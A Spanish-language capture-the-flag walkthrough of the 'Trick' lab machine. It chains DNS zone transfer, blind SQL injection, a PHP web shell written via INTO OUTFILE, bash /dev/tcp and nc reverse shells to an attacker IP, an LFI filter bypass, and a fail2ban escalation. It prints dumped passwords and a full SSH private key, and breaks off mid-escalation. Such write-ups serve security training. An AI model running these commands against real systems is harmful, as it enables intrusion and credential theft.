Trick
17 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.166
- Fecha: 18 / 06 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.166 -p 22,25,53,80
Nmap scan report for 10.10.11.166
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 48.81 seconds
La máquina tiene abiertos los puertos 22 (SSH), 25 (SMTP), 53 (DNS) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.166
, veremos una página como esta:
No hay nada útil aquí, el formulario no funciona.
Enumeración del DNS
Como la máquina tiene un servicio de DNS expuesto, podemos preguntar al servidor que muestre dominios y subdominios mediante consultas DNS inversas. Por ejemplo:
$ dig -x 10.10.11.166 @10.10.11.166
; <<>> DiG 9.10.6 <<>> -x 10.10.11.166 @10.10.11.166
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26900
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 38 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Tue Jul 05 11:52:00 CEST 2022
;; MSG SIZE rcvd: 135
Ya podemos introducir trick.htb
en /etc/hosts
. Desafortunadamente, la página web de arriba es la misma que http://trick.htb
. Además, ffuf
no encuentra más subdominios con diccionarios comunes.
Por tanto, podemos continuar preguntando al DNS un poco más. Por ejemplo, podemos realizar un ataque de transferencia de zona:
$ dig trick.htb @10.10.11.166 axfr
; <<>> DiG 9.10.6 <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 50 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Tue Jul 05 12:01:33 CEST 2022
;; XFR size: 6 records (messages 1, bytes 203)
Acceso a la máquina
Aquí tenemos preprod-payroll.trick.htb
. Ahora podemos ver otra página en http://preprod-payroll.trick.htb
:
Explotación de SQLi
En este punto, podemos probar una inyección de código SQL, con un payload común:
Y estamos dentro, como el administrador:
Vamos a verificar el tipo de SQLi que estamos explotando:
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='&password=asdf"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+or+1=1--+-&password=asdf"
1
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+or+2=1--+-&password=asdf"
3
Estamos ante un SQLi te tipo Boolean-based blind, ya que la única información que tenemos es 1
(verdadero) o 3
(falso). Y si la consulta SQL es incorrecta, vemos un error que muestra la ruta del archivo: /var/www/payroll/admin_class.php
.
Ahora, podemos usar sqlmap
con parámetros específicos para ir directos. En primer lugar, vamos a enumerar bases de datos:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
[hh:mm:ss] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=i0erqses93k...46t092dbr9'). Do you want to use those [Y/n] Y
[hh:mm:ss] [INFO] checking if the target is protected by some kind of WAF/IPS
[hh:mm:ss] [INFO] testing if the target URL content is stable
[hh:mm:ss] [INFO] target URL content is stable
[hh:mm:ss] [INFO] testing if POST parameter 'username' is dynamic
[hh:mm:ss] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[hh:mm:ss] [INFO] testing for SQL injection on POST parameter 'username'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[hh:mm:ss] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="21")
[hh:mm:ss] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] Y
[hh:mm:ss] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 182 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=1' AND 3839=(SELECT (CASE WHEN (3839=3839) THEN 3839 ELSE (SELECT 2922 UNION SELECT 7749) END))-- tjdZ
---
[hh:mm:ss] [INFO] testing MySQL
[hh:mm:ss] [INFO] confirming MySQL
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[hh:mm:ss] [INFO] fetching database names
[hh:mm:ss] [INFO] fetching number of databases
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 2
[hh:mm:ss] [INFO] retrieved: information_schema
[hh:mm:ss] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
...
Perfecto: information_schema
y payroll_db
. Ahora podemos añadir el DBMS (MySQL) y la base de datos (payroll_db
). ¿Qué tablas hay en esta base de datos?
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db --tables
___
__H__
___ ___[)]_____ ___ ___ {1.6.6#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching tables for database: 'payroll_db'
...
Database: payroll_db
[10 tables]
+---------------------+
| position |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| users |
+---------------------+
...
Genial, nos interesa la tabla users
. Vamos a enumerar sus columnas:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db -T users --columns
___
__H__
___ ___[(]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching columns for table 'users' in database 'payroll_db'
...
Database: payroll_db
Table: users
[8 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| address | text |
| contact | text |
| doctor_id | int(30) |
| id | int(30) |
| name | varchar(200) |
| password | varchar(200) |
| type | tinyint(1) |
| username | varchar(200) |
+-----------+--------------+
...
Perfecto, vamos a extraer los campos name
, username
y password
:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db -T users -C name,username,password --dump
___
__H__
___ ___[(]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching entries of column(s) 'name,password,username' for table 'users' in database 'payroll_db'
...
Database: payroll_db
Table: users
[1 entry]
+---------------+------------+-----------------------+
| name | username | password |
+---------------+------------+-----------------------+
| Administrator | Enemigosss | SuperGucciRainbowCake |
+---------------+------------+-----------------------+
...
Ok, tenemos un usuario y una contraseña, pero no podemos hacer nada con ellos. Esto es un callejón sin salida.
Encontrando un LFI
Si continuamos examinando la página web, vemos que hay un parámetro curioso llamado page
, que se usa para renderizar las diferentes páginas de la web. Es probable que sea vulnerable a Local File Inclusion (LFI) o Directory Path Traversal, porque podemos añadir ./
y la web todavía funciona:
Para poder probar el LFI, podemos usar un wrapper PHP como este (codificación Base64):
Vamos a decidificar esta cadena en Base64 con un poco de shell scripting. Este es home.php
:
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >'
<main id="view-panel" >
PD9waHAgaW5jbHVkZSAnZGJfY29ubmVjdC5waHAnID8+DQo8c3R5bGU+DQogICANCjwvc3R5bGU+DQoNCjxkaXYgY2xhc3M9ImNvbnRhaW5lLWZsdWlkIj4NCg0KCTxkaXYgY2xhc3M9InJvdyI+DQoJCTxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+DQoJCQkNCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8ZGl2IGNsYXNzPSJyb3cgbXQtMyBtbC0zIG1yLTMiPg0KCQkJPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAiV2VsY29tZSBiYWNrICIuICRfU0VTU0lPTlsnbG9naW5fbmFtZSddLiIhIiAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoJPC9kaXY+DQoNCjwvZGl2Pg0KPHNjcmlwdD4NCgkNCjwvc2NyaXB0Pg==
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >' | grep -v main
PD9waHAgaW5jbHVkZSAnZGJfY29ubmVjdC5waHAnID8+DQo8c3R5bGU+DQogICANCjwvc3R5bGU+DQoNCjxkaXYgY2xhc3M9ImNvbnRhaW5lLWZsdWlkIj4NCg0KCTxkaXYgY2xhc3M9InJvdyI+DQoJCTxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+DQoJCQkNCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8ZGl2IGNsYXNzPSJyb3cgbXQtMyBtbC0zIG1yLTMiPg0KCQkJPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAiV2VsY29tZSBiYWNrICIuICRfU0VTU0lPTlsnbG9naW5fbmFtZSddLiIhIiAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoJPC9kaXY+DQoNCjwvZGl2Pg0KPHNjcmlwdD4NCgkNCjwvc2NyaXB0Pg==
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >' | grep -v main | base64 -d
<?php include 'db_connect.php' ?>
<style>
</style>
<div class="containe-fluid">
<div class="row">
<div class="col-lg-12">
</div>
</div>
<div class="row mt-3 ml-3 mr-3">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
<?php echo "Welcome back ". $_SESSION['login_name']."!" ?>
</div>
</div>
</div>
</div>
</div>
<script>
</script>
Como es un archivo PHP, podemos asumir que el servidor agrega la extensión .php
al parámetro page
. De hecho, podemos ejecutar home.php
directamente:
$ curl preprod-payroll.trick.htb/home.php
<style>
</style>
<div class="containe-fluid">
<div class="row">
<div class="col-lg-12">
</div>
</div>
<div class="row mt-3 ml-3 mr-3">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
Welcome back !
</div>
</div>
</div>
</div>
</div>
<script>
</script>
Ahora podemos envolver el comando anterior en una función de shell para leer los archivos PHP más fácilmente:
$ function read_file() { curl -s "preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=$1" | grep -A 1 '<main id="view-panel" >' | grep -v main | base64 -d; }
Vamos a leer db_connect.php
, que está incluido en home.php
:
$ read_file db_connect
<?php
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
Tenemos una contraseña, podemos tratar de acceder como remo
por SSH, pero no funciona.
Consiguiendo RCE
Como tenemos LFI, podríamos transformarlo en ejecución remota de comandos (RCE) si tuviéramos alguna manera de introducir archivos PHP en el servidor. De hecho, esto se puede hacer con SQLi si tenemos privilegios suficientes. Vamos a comprobarlo:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql --privileges
___
__H__
___ ___["]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching entries of column(s) 'name,password,username' for table 'users' in database 'payroll_db'
[hh:mm:ss] [INFO] fetching database users privileges
[hh:mm:ss] [INFO] fetching database users
[hh:mm:ss] [INFO] fetching number of database users
[hh:mm:ss] [INFO] resumed: 1
[hh:mm:ss] [INFO] retrieving the length of query output
[hh:mm:ss] [INFO] retrieved: 18
[hh:mm:ss] [INFO] retrieved: 'remo'@'localhost'
[hh:mm:ss] [INFO] fetching number of privileges for user 'remo'
[hh:mm:ss] [INFO] resumed: 1
[hh:mm:ss] [INFO] fetching privileges for user 'remo'
[hh:mm:ss] [INFO] retrieving the length of query output
[hh:mm:ss] [INFO] retrieved: 4
[hh:mm:ss] [INFO] retrieved: FILE
database management system users privileges:
[*] %remo% [1]:
privilege: FILE
...
Vemos que tenemos el privilegio FILE
, y entonces podemos leer y escribir archivos del servidor si tenemos suficientes privilegios a nivel de sistema en el directorio que corresponda.
Para escribir un archivo, vamos a usar consultas UNION
. Ya sabemos que la tabla tiene 8 columnas, por lo que vamos al grano:
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+union+select+'<?php+system(\$_GET[\"cmd\"]);+?>',2,3,4,5,6,7,8+into+outfile+'/tmp/rev.php'--+-&password=asdf"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3
Como el archivo lo guardamos en /tmp
tenemos privilegios suficientes. Vamos a acceder al archivo mediante el LFI (/tmp/rev.php
pero sin la extensión .php
):
Y muestra el archivo, por lo que tenemos RCE:
Vamos a acceder a la máquina usando una reverse shell
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -s "preprod-payroll.trick.htb/index.php?page=../../../../tmp/rev&cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash"
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:42706.
bash: cannot set terminal process group (790): Inappropriate ioctl for device
bash: no job control in this shell
www-data@trick:~/payroll$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@trick:~/payroll$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@trick:~/payroll$ export TERM=xterm
www-data@trick:~/payroll$ export SHELL=bash
www-data@trick:~/payroll$ stty rows 50 columns 158
Movimiento lateral al usuario michael
Dentro de la máquina, vemos que hay otra página web en /var/www/market
:
www-data@trick:~/payroll$ cd /var/www
www-data@trick:~$ ls -la
total 20
drwxr-xr-x 5 michael michael 4096 May 25 13:28 .
drwxr-xr-x 12 root root 4096 May 25 13:28 ..
drwxr-xr-x 5 michael michael 4096 May 25 13:28 html
drwxr-xr-x 6 michael michael 4096 May 25 13:28 market
drwxr-xr-x 4 michael michael 4096 May 25 13:28 payroll
Podemos leer la configuración de nginx para obtener el correspondiente virtual host:
www-data@trick:~$ ls /etc/nginx/sites-enabled/
default
www-data@trick:~$ cat /etc/nginx/sites-enabled/default | grep trick.htb
server_name trick.htb;
server_name preprod-marketing.trick.htb;
server_name preprod-payroll.trick.htb;
Perfecto, después de poner preprod-marketing.trick.htb
en /etc/hosts
, tenemos esta página web:
Encontrando otro LFI
De nuevo, el parámetro page
pide a gritos que sea vulnerado con LFI o Directory Path Traversal:
Como tenemos acceso a la máquina, podemos leer el código fuente de esta página y encontrar lo siguiente:
www-data@trick:~$ cd /var/www/market
www-data@trick:~/market$ ls -la
total 76
drwxr-xr-x 6 michael michael 4096 May 25 13:28 .
drwxr-xr-x 5 michael michael 4096 May 25 13:28 ..
-rw-r--r-- 1 michael michael 13272 Apr 16 10:15 about.html
-rw-r--r-- 1 michael michael 7677 Apr 16 10:15 contact.html
drwxr-xr-x 2 michael michael 4096 May 25 13:28 css
drwxr-xr-x 4 michael michael 4096 May 25 13:28 fontawesome
-rw-r--r-- 1 michael michael 9660 Apr 16 10:14 home.html
drwxr-xr-x 2 michael michael 4096 May 25 13:28 img
-rw-r--r-- 1 michael michael 194 Apr 16 10:13 index.php
drwxr-xr-x 2 michael michael 4096 May 25 13:28 js
-rw-r--r-- 1 michael michael 10757 Apr 16 10:14 services.html
www-data@trick:~/market$ cat index.php
<?php
$file = $_GET['page'];
if (!isset($file) || ($file == 'index.php')) {
include('/var/www/market/home.html');
} else{
include('/var/www/market/' . str_replace('../', '', $file));
}
Está incluyendo archivos aplicando sanitización. Sin embargo, este filtrado no es exhaustivo, ya que el reemplazamiento no es recursivo y podemos poner "....//"
, que será transformado a "../"
, desembocando en Directory Path Traversal y otro Local File Inclusion.
Vamos a acceder a /tmp/rev.php
de nuevo para ver si hemos cambiado de usuario:
$ curl 'preprod-marketing.trick.htb/index.php?page=....//....//....//....//tmp/rev.php&cmd=whoami'
michael
2 3 4 5 6 7 8
Ahí está, somos michael
. Por tanto, podemos leer su clave privada de SSH:
www-data@trick:~/market$ ls -la /home/michael
total 84
drwxr-xr-x 15 michael michael 4096 Jul 14 22:12 .
drwxr-xr-x 3 root root 4096 May 25 13:28 ..
-rw------- 1 michael michael 1256 May 25 13:09 .ICEauthority
lrwxrwxrwx 1 root root 9 Apr 22 09:47 .bash_history -> /dev/null
-rw-r--r-- 1 michael michael 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 michael michael 3526 Apr 18 2019 .bashrc
drwx------ 9 michael michael 4096 May 11 21:09 .cache
drwx------ 10 michael michael 4096 May 11 21:08 .config
drwx------ 3 michael michael 4096 May 11 21:08 .gnupg
drwx------ 3 michael michael 4096 May 11 21:07 .local
-rw-r--r-- 1 michael michael 807 Apr 18 2019 .profile
drwx------ 2 michael michael 4096 May 24 17:25 .ssh
-rw------- 1 michael michael 2492 Jul 14 22:12 .viminfo
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Desktop
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Documents
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Downloads
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Music
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Pictures
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Public
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Templates
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Videos
-rw-r----- 1 root michael 33 Jul 14 21:39 user.txt
$ curl 'preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Y ahora nos podemos conectar a la máquina como michael
:
$ chmod 600 id_rsa
$ ssh -i id_rsa michael@10.10.11.166
michael@trick:~$ cat user.txt
f18c1dcd02ec3adadbd54c9c8c4d94be
Escalada de privilegios
Este usuario es capaz de ejecutar /etc/init.d/fail2ban restart
como root
sin contraseña usando sudo
:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Después de buscar maneras de escalar privilegios con fail2ban
, llegaremos a este artículo.
Nótese que tenemos un grupo adicional, y este grupo posee el directorio /etc/fail2ban/action.d
:
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ find / -group security 2>/dev/null
/etc/fail2ban/action.d
michael@trick:~$ ls -l /etc/fail2ban
total 60
drwxrwx--- 2 root security 4096 Jul 6 04:21 action.d
-rw-r--r-- 1 root root 2334 Jul 6 04:21 fail2ban.conf
drwxr-xr-x 2 root root 4096 Jul 6 04:21 fail2ban.d
drwxr-xr-x 3 root root 4096 Jul 6 04:21 filter.d
-rw-r--r-- 1 root root 22908 Jul 6 04:21 jail.conf
drwxr-xr-x 2 root root 4096 Jul 6 04:21 jail.d
-rw-r--r-- 1 root root 645 Jul 6 04:21 paths-arch.conf
-rw-r--r-- 1 root root 2827 Jul 6 04:21 paths-common.conf
-rw-r--r-- 1 root root 573 Jul 6 04:21 paths-debian.conf
-rw-r--r-- 1 root root 738 Jul 6 04:21 paths-opensuse.conf
El artículo dice que una manera de ejecutar comandos es poniendo un actioban
con un comando malicioso en iptables-multiport.conf
. Si tratamos de modificar el archivo, no podemos:
michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Jul 6 04:00 /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ echo 'actionban = nc -e /bin/bash 10.10.17.44 4444' >> /etc/fail2ban/action.d/iptables-multiport.conf
-bash: /etc/fail2ban/action.d/iptables-multiport.conf: Permission denied
Sin embargo, como pertenecemos a security
y este grupo posee el directorio, podemos crear y borrar archivos. Por tanto, vamos a crear una copia del archivo necesario, borrarlo y crearlo de nuevo con el contenido malicioso (por ejemplo, un comando de reverse shell):
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp/x
michael@trick:~$ vim /tmp/x
michael@trick:~$ rm /etc/fail2ban/action.d/iptables-multiport.conf
rm: remove write-protected regular file '/etc/fail2ban/action.d/iptables-multiport.conf'? y
michael@trick:~$ cp /tmp/x /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ grep -v '^#' /etc/fail2ban/action.d/iptables-multiport.conf | grep .
[INCLUDES]
before = iptables-common.conf
[Definition]
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
<actionflush>
<iptables> -X f2b-<name>
